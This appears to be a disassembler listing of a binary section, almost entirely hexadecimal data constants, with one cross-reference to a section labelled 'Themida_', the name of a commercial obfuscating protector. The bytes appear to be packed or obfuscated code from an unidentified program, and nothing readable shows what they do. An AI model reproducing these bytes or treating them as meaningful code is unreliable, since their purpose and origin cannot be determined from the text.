8958C358h, 81042444h, 19042444h dd 40000000h, 0FD96C350h, 0A6190D2Ah, 0EC5BD0Bh, 0BD8B0607h dd 6072B09h, 10D1BD83h, 0F00060Bh, 6D84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 1C009AFBh, 0BF0F921Fh, 5B92BEF1h, 0B3E961A4h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0CA70C356h, 0E7CAC5A4h, 3E006C75h, 0FE9h dd 0DB57E800h, 6142A8C7h, 0C3240901h, 2D0E5075h, 327DBD8Bh dd 85C70607h, 60B10D1h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 91C35646h, 8B575DE3h, 7142DB5h, 40E906h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0BD8B8FC3h, 6070DF5h, 10D185C7h, 60Bh, 0EE80000h dd 5A000000h, 42A4D91Eh, 1EFE8E05h, 0AC131155h, 9D8D5F69h dd 60714F1h, 45BD8Bh, 0BD030607h, 6070E25h, 0FEFF2381h dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0ADA26BC3h, 3ECE3D1Fh, 0CE990h, 0EC5C0000h dd 0DBBA334Bh, 5079B958h, 830F9202h, 0 aFmJ db 'f▄шj',0 db 50h, 0E8h, 3 dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 4851C350h, 0DD810B19h, 29601ECEh, 7191DBDh, 61FA8B06h dd 4C3F6F5h, 55840Fh, 0CF810000h, 324521E1h, 2F99589h dd 95FF0607h, 60729EDh, 14E950F8h, 0CB000000h, 63770545h dd 948FC1F5h, 961A2E02h, 0B80B6ACAh, 895A87ECh, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0A867EEC3h, 767663E2h, 0E9B158E3h, 40Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 39C35646h, 67A3BA6Bh dd 0C7816607h, 0BD2BE32Fh, 6071B8Dh, 816600B0h, 0E6CF14F6h dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0BBF630B2h, 9BCEB098h, 81668524h, 0E48A33DEh dd 56006A71h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0CF2A278Fh, 0D8B60FFCh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 61C35545h, 1995891Eh, 0BA06070Bh dd 6, 23118589h, 0C38B0607h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0B1C35343h, 0B58B2874h, 6070381h dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0D9EC353h, 175899C5h, 0F9BE6663h dd 0C1958904h, 66060703h, 0F38BE2F7h, 8501D82Bh, 60707C1h dd 8E850h, 0EDAB0000h, 898E9666h, 11E8F3D5h, 0B4000000h dd 0D8B6A48Dh, 3EA6CCFDh, 179C7738h, 0AE829ED7h, 5F5F5F50h dd 0FF241C89h, 720D5B5h, 0FDB58B06h, 1060718h, 70895B5h dd 6995FF06h, 6606070Dh, 0B0BDEFBFh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 576B54CFh dd 8BDD47C4h, 73129B5h, 6A70E606h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BF45C352h dd 8509EE47h, 6071381h, 0CE9h, 0CCB3CF00h, 0FFA63F3Ch dd 0F8407E56h, 6A71E4A2h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0E9D4C356h, 457B50C8h dd 30559529h, 613C0607h, 21E830Fh, 0B60F0000h, 398529D8h dd 66060713h, 0BA2C7BBEh, 6, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 2C35040h, 1E924C53h, 0E9BA2801h dd 8, 0E94FDB5Fh, 3F9A28E1h, 5A1CE681h, 0C38B0125h, 3859D89h dd 0E8C10607h, 0F78B6604h, 0C53F2BEh, 0E2F76659h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0ABC35343h, 0FCED2D7h dd 0D82BF2B7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 19C35747h, 0E1783763h, 6658B3E9h, 0D82BF88Bh, 16E880Fh dd 85890000h, 60700DDh, 7B9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 40FA8EC9h dd 0C34ABE66h, 6A00C183h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0D870C352h, 0B38E267h dd 333D9D89h, 0D93B0607h, 10E860Fh, 0BD290000h, 6071249h dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 1784C356h, 396437EFh, 89B12CFCh dd 70761BDh, 4C1F606h, 0B8840Fh, 95FF0000h, 60729EDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 34C35646h, 0AFDBD89h dd 0BE90607h, 95000000h, 6A37F501h, 7CCC7356h, 6A5B5286h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 1D16C353h, 0FDE14433h, 0B529645Bh, 6072135h dd 0B61B58Bh, 0C32B0607h, 1B59B503h, 343D0607h, 0F000008h dd 3D86h, 6890F00h, 9000000h, 719B98Dh, 46E906h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 78CB04C3h, 880F8B55h, 6, 1FD19589h, 0C08B0607h, 0CE8h dd 9EF83C00h, 0ADF3B73Dh, 9D5D6186h, 0E1B589D9h, 5F060712h dd 0D88BC38Bh, 11E9h, 0DC66900h, 2D44AFFDh, 0C2AF0B4Fh dd 0FA7384BCh, 0BD8B1073h, 6072E6Dh, 2E5185C7h, 51BD0607h dd 6A7104h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0C08BB9C3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0AC35646h, 7B884B33h, 0FE85Dh, 12FE0000h dd 1F055D19h, 9F0013C5h, 1A332BA7h, 0BD895699h, 6071259h dd 9D895E5Eh, 60728A1h, 20D5BD81h, 7D00607h, 850F0000h dd 3Fh, 0BFD8D89h, 85FF0607h, 60720D5h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 68C35646h, 0F0EF22Bh dd 282h, 8BFE8B00h, 816660F9h, 66690FC1h, 0FF61DA8Bh, 720D5B5h dd 95FFF906h, 6070D69h, 13B58589h, 81900607h, 0A9CBF4E7h dd 57006A71h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 14AFCD3Eh, 0C0B70F60h, 3BA9CA81h, 9D8B60D7h dd 6072BD1h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0F7EBF66h, 10E93Ah, 18320000h, 3065116Fh dd 0B7700883h, 3C44E0CCh, 6A9077h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 8928C6C3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BC35545h, 0F6AA4FC6h dd 13E951BDh, 66000000h, 809CF281h, 4C526BD1h, 35616EE3h dd 2E3A5ADDh, 0BD033742h, 60711C9h, 0DE9h, 24AFDD00h, 6539EF19h dd 4B1770A8h, 6A8C3Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 94C997C3h, 6B8E68D4h, 0F5CCF251h dd 19D8B60h, 3106071Fh, 7266DBDh, 38C0F06h, 66000000h dd 8B66FE8Bh, 28E961DEh, 6AFFFFF7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2BB3C357h dd 8786EB1Fh, 8BD9F7C4h, 704F9BDh, 6AC18B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 777CC351h, 0EE8h, 3055A700h, 74F61393h, 5E5C89F7h, 8B408742h dd 71FEDBDh, 4EB5E06h, 0 dd 0F9850960h, 906071Fh, 7109195h, 6A6106h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 65FE97C3h dd 0BD89DCD7h, 607044Dh, 18B1858Dh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B70F13C3h dd 0DE890FEh, 1B000000h, 41AD0428h, 0BAF195C6h, 0A420E6C1h dd 9BBE6653h, 505F5FA6h, 7FBFC7BFh, 0EE9906Bh, 90000000h dd 0A3A5037Ah, 0E02CFD78h, 9161F2E4h, 0F8B70FB1h, 8E0F006Ah dd 1Fh, 13E8h, 0A94A4500h, 7010E83Dh, 0A8D791AFh, 0BCDC7DF2h dd 23D8B1Eh, 9DDBD8Bh, 6A5E0607h, 0FBB70F00h, 1DBB858Dh dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 757FF2C3h, 0DF0B9FF4h, 585BD31h, 0C0830607h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BD89692Ah, 6073295h, 24048950h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B2C35040h, 0BD89FC67h dd 60712C5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 2FB814C3h, 8BFE0CD8h, 8B006AF8h dd 73035BDh, 3D95FF06h, 8B06071Eh, 70FDDBDh, 0D59D8D06h dd 6A060A93h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 9E26C355h, 683F5E83h, 1E9A133h dd 707F1BDh, 6AD3FF06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 3123C352h, 7006DBDh dd 5985FF06h, 6A06072Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 86CDC350h, 0BF661281h dd 9DE90199h, 0E8000008h, 0 dd 0C5ED815Dh, 6A060B1Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 99BAC351h, 0E2251AE7h dd 4CDBD8Bh, 0BD810607h, 60720D5h, 7D0h, 1D7860Fh, 0BD8B0000h dd 6070B5Dh, 21A99D8Bh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0D7E70CC3h, 372CBE2Eh dd 0E38164C6h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 27C35040h, 2EFDB280h, 0FDB0B43h, 0E085h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0B16A1847h, 5209BE66h, 14E8h, 2CD6300h dd 2C4657EDh, 0D0624C43h, 74392C44h, 0E7C47750h, 0F3EE81DFh dd 5F0DD8E5h, 1BC9BD83h, 0F00060Bh, 3484h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 8166F834h, 0E90238C7h, 0A8h, 7E8h, 8D4B5600h, 0B9EDE4E1h dd 0C985C75Fh, 1060B1Bh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A606C355h dd 0B1BD8B00h, 0E9060700h, 68h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 51C35646h, 68E0FC4h, 29000000h dd 711659Dh, 0C985C706h, 60B1Bh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 3D35C355h dd 13E9h, 75647300h, 0A1B72BCBh, 4A42B345h, 0E5B4D440h dd 0D2987D16h, 21A99D8Dh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 66B18CC3h, 2381FB8Bh dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 30C35141h, 0DC147BD1h, 0F1853425h, 28A0F0Ah, 8B000000h dd 0DB8C66FBh, 0CE8h, 590C8900h, 80A686D8h, 4FBBDBFBh dd 6820F49h, 0F000000h, 8Ch, 0C3F65F00h, 56840F04h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 6716C353h, 751B58Bh, 95FF0607h, 60729EDh dd 0BE9h, 58949D00h, 9422F9C8h, 3CD55877h, 0F525050h, 22BE5731h dd 5E05F1B3h, 489585Ah, 6840F24h, 89000000h, 73295B5h dd 3E6E906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0FB360C3h, 8D293019h, 60702E1h dd 8B6000B0h, 0C99589FBh, 6106070Ah, 0E6F38B66h, 0E4FA8B70h dd 57006A71h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 6060A500h, 12898589h, 0CB90607h, 6114B6F1h dd 29258501h, 0F610607h, 0BD89D8B6h, 607236Dh, 6BAh, 0A7BE6600h dd 6AC38BC8h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 6FCBC350h, 5D9A96AAh, 0F3601A08h dd 0E8C1F08Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 9042F14Dh, 12E9EE9Dh dd 2E55BD8Bh, 0F7660607h, 51006AE2h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DE9F203h dd 12000000h, 0BAFC7FA3h, 0E05C22Eh, 2F03A488h, 1C5B523h dd 0D82B0607h, 8BDE8A60h, 72AC58Dh, 89506106h, 0BF66241Ch dd 0B5FFD07Eh, 60720D5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0C8C35141h, 45981686h, 0FF331C74h, 70D6995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0E85E5189h, 5, 6F941A54h, 87F6811Dh, 5F2BB5A3h dd 8F0F00B0h, 18h, 45B58960h, 0E906070Eh, 0Bh, 0C6F273FCh dd 0CCCEDB80h, 615B43C9h, 0BF6670E6h, 71E4EE18h, 0B69B58Bh dd 613C0607h, 232830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0D99E3CC3h, 7E711324h dd 459D89C9h, 0F060708h, 6AD8B6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 383D79C3h, 7A6C07ECh dd 0BA61F860h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 67C35242h, 2D7DDD96h, 0FC2A62AEh, 10E9h, 1AC5F400h dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0CE878h, 548B0000h dd 6ECAB287h, 6DED502Ah, 48BFBB77h, 5F513010h, 6AC38Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 2390ECC3h, 7055DBDh, 4E8C106h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 25C35646h, 9D891460h, 60719C5h dd 0F5E2F766h, 6650D82Bh, 5F2EB9BEh, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 2B536395h dd 0D880FD8h, 0E9000001h, 5, 918F8458h, 7B937h, 8B660000h dd 0C183F0h, 0A748CF81h, 0D93B220Ch, 0EA860Fh, 12BE0000h dd 66353325h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8BA7D5C3h, 713EDBDh, 4C1F606h, 0B0840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0A7AFD6C3h, 23BE3BBBh, 70781B5h, 0ED95FF06h dd 60060729h, 0CE8h, 0CA9C5C00h, 9ED13D28h, 80972854h dd 9DB0B842h, 3358730Bh, 732E585h, 880F6106h, 0 dd 2BF88B5Bh, 8343DC3h, 860F0000h, 4Eh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 15h, 78C35242h, 21E7819Bh dd 0E966311Dh, 2Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 22C35141h, 11D220C4h, 0FE7278D2h, 0C08BF51Ah dd 3500BE66h, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 97C35040h, 0C755DA71h, 714F185h, 47CB7706h dd 11BD8B16h, 8B060704h, 9E8C0h, 0C1220000h, 579FF0BEh dd 5F7E3408h, 20D5BD81h, 7D00607h, 850F0000h, 4Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D8C35646h, 31FECB52h dd 0BB24419Bh, 0E6816606h, 85FF924Ch, 60720D5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 39C35141h, 0D5B5FF63h dd 8B060720h, 72AC1BDh, 6995FF06h, 6A06070Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0D35CC352h, 0F1BF0FB7h, 1265BD2Bh, 0E8900607h, 5, 0BF78C522h dd 65B50350h, 5E060713h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0B1C35646h, 2615B58Bh, 0B58B0607h, 6072829h dd 6AF38B66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 3800C351h, 663A3C59h, 1943D781h dd 4FFDF681h, 0BD894C41h, 6072F55h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 46C35242h, 5A64023Ah, 6027D09Bh dd 2F999531h, 0BE90607h, 14000000h, 10A3FDB9h, 41DD92A5h dd 8B663116h, 6AFC61CAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 7E1BC352h, 6A9DFF33h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 61C2C350h, 8EE85B81h, 0E91F67EBh, 13h, 7AAE3508h dd 681188B1h, 1411BC05h, 3EB3E122h, 29808BA3h, 71F65B5h dd 59950106h, 0E906071Bh, 0FFFFF787h, 13E9h, 0E9D64300h dd 3F58B12Ah, 10D239A2h, 282D7F5Ah, 1B2304B6h, 7E9h, 4834C00h dd 9DD0919Eh, 38E804EBh, 0B6E90E84h, 0C4000005h, 0C66D0293h dd 0BF66FB9Ah, 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh dd 25C0ED94h, 1CB7E990h, 15B0E087h, 5745B380h, 4398CBE6h dd 2C481A31h, 0B04F7BFCh, 0AEE1680Fh, 0ECFA7D13h, 0F2EF5CFFh dd 9F464D37h, 0AA31D86Fh, 39BAED7Ah, 2EC76E09h, 0BE45EC8Dh dd 884CF392h, 0DA6D9F48h, 55B09A33h, 80AD56CBh, 0A5C27CE5h dd 0B96165A2h, 199ECECFh, 11AA51ECh, 14B55082h, 0BA6D87Fh dd 0A9DCF76h, 0FA2CD563h, 4F7C7D67h, 0F1D93EC1h, 0D6E48C3Dh dd 0A3599102h, 6809DC49h, 30D56C1h, 6D5BE315h, 49A358FCh dd 20917F47h, 6B49A359h, 3868F798h, 0B967FC9Dh, 9C43DE10h dd 59AF200Eh, 27FA49A3h, 6B9B9C86h, 0EB5925CCh, 0D349A358h dd 0AB2AAC7Ah, 3119AF58h, 52h, 69FC2C95h, 0F28BF6C2h, 166F49A3h dd 0C00FC608h, 1CD19AEh, 31000000h, 2BE4A225h, 117A0B3Eh dd 59436CDBh, 0EA912C58h, 2983763h, 0A18B2659h, 37D20188h dd 0E38CCC90h, 0D56E15B0h, 988690EBh, 15B0E36Ch, 838DF74h dd 0FE2ED76Dh, 3D27C067h, 0F92CC436h, 0E3AC168h, 5E17C86Fh dd 83B65FD0h, 0D40708F2h, 0D505AC41h, 7800107Ah, 0BD5E8AB6h dd 0B74E7E27h, 748D7710h, 7D24BFEDh, 0AC32FCDFh, 19AFB039h dd 9BA3h, 6248CB00h, 9A46EA98h, 2514E0CAh, 0F49454A2h dd 0B6A09378h, 48EF82B5h, 336937BAh, 2F7CE7DDh, 7B164445h dd 961F4DD4h, 832ACB6Ah, 0FC9607F5h, 0EE149A2h, 0CB3527Fh dd 0AB6BB548h, 54C24CDFh, 77FA9021h, 0DBD68B70h, 9F326569h dd 0DB5D95FEh, 5522ED0Dh, 8ABD646Bh, 943BD609h, 2CB35AFBh dd 10816FFDh, 5B49A3DAh, 0A851E788h, 0DAF3DD78h, 9CF593Ch dd 19AED5DCh, 4EFEh, 0F92C6200h, 8A33C168h, 0D4D5BF5Eh dd 0F8680FA2h, 92C573BDh, 69E669FFh, 0AD07DD44h, 2C9EA58Fh dd 0BE65002Ch, 0BB5A8730h, 0F21D8BD1h, 356149A3h, 0CB772BD2h dd 0CB6CCE22h, 0D86B9D24h, 0B37DC631h, 0E12F8873h, 0AF66F6DFh dd 1E419h, 25480000h, 24B34E7Ch, 20B960F1h, 6C073536h dd 0C73826D6h, 1249A3F2h, 0AE3C553Fh, 5D4BD305h, 49A3F1ECh dd 1CC36437h, 1B4BABBBh, 0BF60A3AEh, 11A4D4D5h, 77C5F87Bh dd 45AFE0A5h, 0A348E657h, 0BD5E3149h, 33BAD3h, 437BE65h dd 12B95483h, 0A331D879h, 0A34844B5h, 0F0BC8F49h, 0E053D35Dh dd 719F8997h, 689740D6h, 0A38D26CDh, 8B4BD39Ch, 0ED562AF0h dd 679A29AAh, 0ED8E27CEh, 84EF6957h, 53FC47A2h, 48E18827h dd 0EA91645Eh, 0D24D95Ch, 8D2F41C6h, 0DE72A2A3h, 0F7B04F5Bh dd 0D2A68568h, 439BF361h, 24784CBh, 0AC342DECh, 0F5A338D9h dd 7A790E72h, 3D27BCE7h, 75B10C3Ch, 4707D525h, 1BE78E2Fh dd 439CB4B0h, 832AC3F0h, 8C33CEFCh, 0D757E11Ch, 2C1A245Fh dd 158674FCh, 60439CB4h, 0B057EC8Dh, 0B73EE580h, 0D75AF087h dd 0CEFDB349h, 95AE982Bh, 331D2BE4h, 0D0CF6403h, 1FB5C505h dd 147D7h, 75253B00h, 0A3F21687h, 0F88E6149h, 0A3F2990Ah dd 2711E449h, 0A18F7C04h, 49A3F230h, 0F20E7F6Dh, 865949A3h dd 0F48A2BFEh, 0A2FA5806h, 0A9502347h, 3865F222h, 0C067FC9Dh dd 0A1120090h, 0EC439CE9h, 5FE27819h, 258F5CCFh, 0BD2E1CD0h dd 8439CB1h, 91AA9435h, 0F4655303h, 3F439CB0h, 77E8D66Ch dd 0C2439CB1h, 0D40405EFh, 30E99A41h, 780838E6h, 9CB1198Ah dd 2916443h, 29738D5h, 0B600D203h, 46081Fh, 0A6C0000h dd 0BF98F83h, 49A3F2EAh, 3B190487h, 40B50E79h, 0E2895C56h dd 0A324A516h, 34BDE949h, 2FC86F02h, 3260E78Eh, 863FF097h dd 0FCCD7CB8h, 675BE232h, 4A7821D1h, 5E7FC5AFh, 949A324h dd 7D00A136h, 76000000h, 16877525h, 6149A3F2h, 0F981A48Eh dd 0F2AD1E0Ch, 25F849A3h, 8E00EE84h, 0D947A2EEh, 0A8D85F06h dd 0A1D1780Dh, 0DB935F06h, 6B439CEDh, 9AFBA23Dh, 0CDEEE37Ah dd 0B8EA798Fh, 0BD64032Fh, 18DC8324h, 37BBB85h, 0A0D07EC8h dd 0D1BF6F05h, 439C0D60h, 0E7EED8ABh, 89E961Eh, 96E8021Ah dd 0A5D89941h, 3DC46B0Ch, 68D37A0Dh, 7D05111Fh, 0E901EF85h dd 723B8BC1h, 12FC97C9h, 3EB04518h, 0F48A820Ah, 9ECCEE06h dd 9FCE7747h, 4F221C06h, 56F121A8h, 4BEA1AC1h, 0D88CD8A4h dd 0CF0F4B0Fh, 5AF5FA4Ch, 0D0BAD376h, 4D7DAB75h, 4E7E25BAh dd 0FF8210B7h, 0E4D2B19Fh, 3B092773h, 5982EBBEh, 0B1221026h dd 0FC3B09D3h, 9D9E8829h, 0A52CD36Eh, 0B239E073h, 0B03EE580h dd 9D351C2h, 51C99C3Bh, 990C0816h, 6ACBFAA3h, 1173AAFh dd 0A28C2D22h, 1F4FF947h, 0C245F388h, 6DC41F44h, 0BABBA56Fh dd 0C344EB8Ah, 8, 4D7C2539h, 19FBCAB4h, 0C36AFB2Ch, 0D2790C3Ch dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h dd 0AB14C7Ah, 11B85783h, 0E0895067h, 405h, 42D00h, 4870000h dd 2C895C24h, 4EC8324h, 68240C89h, 3C28h, 55240489h, 0B2699BBDh dd 9003B91Ah, 0C18120BDh, 47D5615h, 0E981E929h, 47D5615h dd 213B685Dh, 24890000h, 24048324h, 0EC815804h, 4 dd 81240C89h, 7B3D2404h, 408F53EBh, 8688108h, 53EB7B3Dh dd 5024048Bh, 405E089h, 83000000h, 48704C0h, 34FF5C24h dd 0C4835924h, 5171E904h, 6B9DFFFCh, 3089037Eh db 0A7h byte_57F3D9 db 12h, 0E8h, 0DFh ; DATA XREF: Themida_:0053CEACo ; Themida_:0053D2CCo ... dd 2B92B834h, 0C503060Bh, 6C2BE0FFh, 1EC41658h, 0CECB2969h dd 2B81A9Eh, 4D2C2A6Eh, 704D3FAFh, 14146656h, 0BFE5233h dd 37447557h, 47C22AC5h, 0C3323B3h, 7183303Eh, 0FF1D7228h dd 0AEDE068Bh, 74675D4Ch, 96980FA3h, 0BDBC0857h, 0D73A7B51h dd 17B013D3h, 0F9B0675Ch, 5F1609F4h, 0A9124BF0h, 0E213BF1h dd 0B44825E4h, 0D8C97205h, 6A600CD2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C8FDC352h dd 89FE6864h, 70515BDh, 6890F06h, 89000000h, 71DCDBDh dd 0FFFEB906h, 0DB81FFFFh, 0F3AC449h, 21A98D21h, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0F50E28C3h, 0F8666E8Eh, 0C418D21h, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0FC016AC3h, 21A98D8Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0DF6D85C3h, 0F5BA0423h dd 83435E47h, 850F01E1h, 6, 1921B58Bh, 8D8B0607h, 6070C41h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 93C35646h dd 796C5C57h, 7437FF4Dh, 3255B523h, 0E1830607h, 5850F01h dd 66000000h, 9A6EE681h, 6A6061h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0C9EF29C3h, 65BD895Ch dd 89060720h, 7049D9Dh, 0FFFEB906h, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CC3068C3h dd 6810FF9h, 89000000h, 70CC185h, 0E58D2106h, 3106071Eh dd 70B0D9Dh, 198D2106h, 6A060726h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0ECBEC357h dd 0D7D1544Dh, 1EE58D8Bh, 8B0F0607h, 0Eh, 159D2960h, 8B060726h dd 71F9995h, 0E1836106h, 6850F01h, 89000000h, 7215585h dd 198D8B06h, 83060726h, 850F01E1h, 2Bh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 8EC35343h, 89819EF4h dd 726159Dh, 0A5BD8906h, 61060721h, 7E96060h, 6D000000h dd 4F951C56h, 81662803h, 6178B4F1h, 0FFFFFEB9h, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 89BD5E51h, 7DD5FB3Ah, 21F56695h, 720618Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E9E2F02Bh, 9, 0ABE67AC5h, 99C95256h, 0D98D2154h, 6A060709h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0CBF4C353h, 0D4802808h, 14E90Ch, 5BF80000h dd 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h, 9D29EB74h dd 6072255h, 20618D8Bh, 9D090607h, 60704E9h, 0F01E183h dd 2785h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0D84E62Dh, 9D8BFF43h, 6071B2Dh, 9D98D8Bh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 13CEB8C3h, 0FB8B6643h, 0F01E183h, 985h, 55E08000h dd 795BD8Bh, 60610607h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0FDC35141h, 0E982B719h, 0Dh, 37CCFC59h dd 8D6BFA3Bh, 516DCF81h, 8F0F7Ch, 0B9000000h, 0FFFFFFFEh dd 2635B529h, 8D210607h, 6072E51h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 38C35747h, 18C0F20h, 0F5000000h dd 21F08B66h, 714F18Dh, 53006A06h, 